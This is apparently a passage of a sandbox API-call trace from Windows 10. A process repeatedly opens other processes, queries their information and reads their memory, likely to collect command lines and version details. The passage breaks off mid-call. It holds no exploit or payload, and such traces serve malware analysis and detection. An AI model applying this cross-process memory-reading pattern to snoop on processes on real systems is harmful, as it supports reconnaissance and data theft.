ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.955] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.955] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.955] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.955] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ea020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.955] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.955] malloc (_Size=0x72) returned 0xea8aa0 [0353.955] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a22c2, lpBuffer=0xea8aa0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8aa0*, lpNumberOfBytesRead=0x0) returned 1 [0353.956] free (_Block=0xea8aa0) [0353.956] CloseHandle (hObject=0xa9c) returned 1 [0353.956] _ui64tow_s (in: _Value=0x13ac, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5036") returned 0x0 [0353.957] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5036") returned 4 [0353.957] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.957] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.958] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x13ac) returned 0xa9c [0353.958] GetLastError () returned 0x0 [0353.958] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.958] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x405018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.958] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.962] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.962] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b2258, lpBuffer=0x5ec5a0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.963] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.963] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.963] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x405020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.963] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.963] malloc (_Size=0x64) returned 0xeb6230 [0353.963] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b22b4, lpBuffer=0xeb6230, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6230*, lpNumberOfBytesRead=0x0) returned 1 [0353.964] free (_Block=0xeb6230) [0353.964] CloseHandle (hObject=0xa9c) returned 1 [0353.964] _ui64tow_s (in: _Value=0x13c8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5064") returned 0x0 [0353.965] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5064") returned 4 [0353.965] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.965] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.966] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x13c8) returned 0xa9c [0353.966] GetLastError () returned 0x0 [0353.966] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.966] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3bc018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.966] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.966] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x432610, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.966] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x432258, lpBuffer=0x5ec5a0, nSize=0x4e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.967] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.967] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.967] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3bc020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.967] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x431c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.967] malloc (_Size=0x56) returned 0xeaa950 [0353.967] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4322a6, lpBuffer=0xeaa950, nSize=0x54, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa950*, lpNumberOfBytesRead=0x0) returned 1 [0353.968] free (_Block=0xeaa950) [0353.968] CloseHandle (hObject=0xa9c) returned 1 [0353.968] _ui64tow_s (in: _Value=0x1028, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4136") returned 0x0 [0353.969] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4136") returned 4 [0353.969] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.969] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.970] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1028) returned 0xa9c [0353.970] GetLastError () returned 0x0 [0353.970] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.970] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x283018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.970] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.970] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.970] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572258, lpBuffer=0x5ec5a0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.970] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.970] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.971] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x283020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.971] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x571c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.971] malloc (_Size=0x6e) returned 0xea9320 [0353.971] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5722be, lpBuffer=0xea9320, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9320*, lpNumberOfBytesRead=0x0) returned 1 [0353.972] free (_Block=0xea9320) [0353.972] CloseHandle (hObject=0xa9c) returned 1 [0353.972] _ui64tow_s (in: _Value=0x548, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1352") returned 0x0 [0353.972] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1352") returned 4 [0353.973] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.973] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.973] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x548) returned 0xa9c [0353.973] GetLastError () returned 0x0 [0353.973] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.977] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x443018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.978] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.978] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7a2610, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.978] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7a2258, lpBuffer=0x5ec5a0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.978] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.978] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.978] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x443020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.978] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.979] malloc (_Size=0x5a) returned 0xeb6540 [0353.979] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7a22aa, lpBuffer=0xeb6540, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6540*, lpNumberOfBytesRead=0x0) returned 1 [0353.979] free (_Block=0xeb6540) [0353.979] CloseHandle (hObject=0xa9c) returned 1 [0353.980] _ui64tow_s (in: _Value=0xe98, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3736") returned 0x0 [0353.980] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3736") returned 4 [0353.980] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.980] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.981] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe98) returned 0xa9c [0353.981] GetLastError () returned 0x0 [0353.981] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.981] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.981] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.981] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.981] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2258, lpBuffer=0x5ec5a0, nSize=0x54, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.982] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.982] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.982] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.982] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.982] malloc (_Size=0x5c) returned 0xeb60e0 [0353.982] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a22ac, lpBuffer=0xeb60e0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb60e0*, lpNumberOfBytesRead=0x0) returned 1 [0353.983] free (_Block=0xeb60e0) [0353.983] CloseHandle (hObject=0xa9c) returned 1 [0353.984] _ui64tow_s (in: _Value=0xcdc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3292") returned 0x0 [0353.984] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3292") returned 4 [0353.984] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.984] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.985] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xcdc) returned 0xa9c [0353.985] GetLastError () returned 0x0 [0353.985] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.985] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x218018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.985] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.985] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x442650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.985] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x442258, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.986] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.986] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.986] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x218020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.986] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x441c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.986] malloc (_Size=0x70) returned 0xea9220 [0353.986] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4422c0, lpBuffer=0xea9220, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9220*, lpNumberOfBytesRead=0x0) returned 1 [0353.987] free (_Block=0xea9220) [0353.987] CloseHandle (hObject=0xa9c) returned 1 [0353.987] _ui64tow_s (in: _Value=0xe04, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3588") returned 0x0 [0353.987] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3588") returned 4 [0353.987] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.987] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.988] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe04) returned 0xa9c [0353.988] GetLastError () returned 0x0 [0353.988] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.988] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b7018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.988] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.989] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.989] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.989] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.994] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.994] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b7020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.994] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.994] malloc (_Size=0x6a) returned 0xea96a0 [0353.994] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822ba, lpBuffer=0xea96a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea96a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.995] free (_Block=0xea96a0) [0353.995] CloseHandle (hObject=0xa9c) returned 1 [0353.995] _ui64tow_s (in: _Value=0x8b4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2228") returned 0x0 [0353.995] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2228") returned 4 [0353.995] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.996] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.996] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8b4) returned 0xa9c [0353.996] GetLastError () returned 0x0 [0353.996] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.997] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5db018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.997] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.997] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x272620, 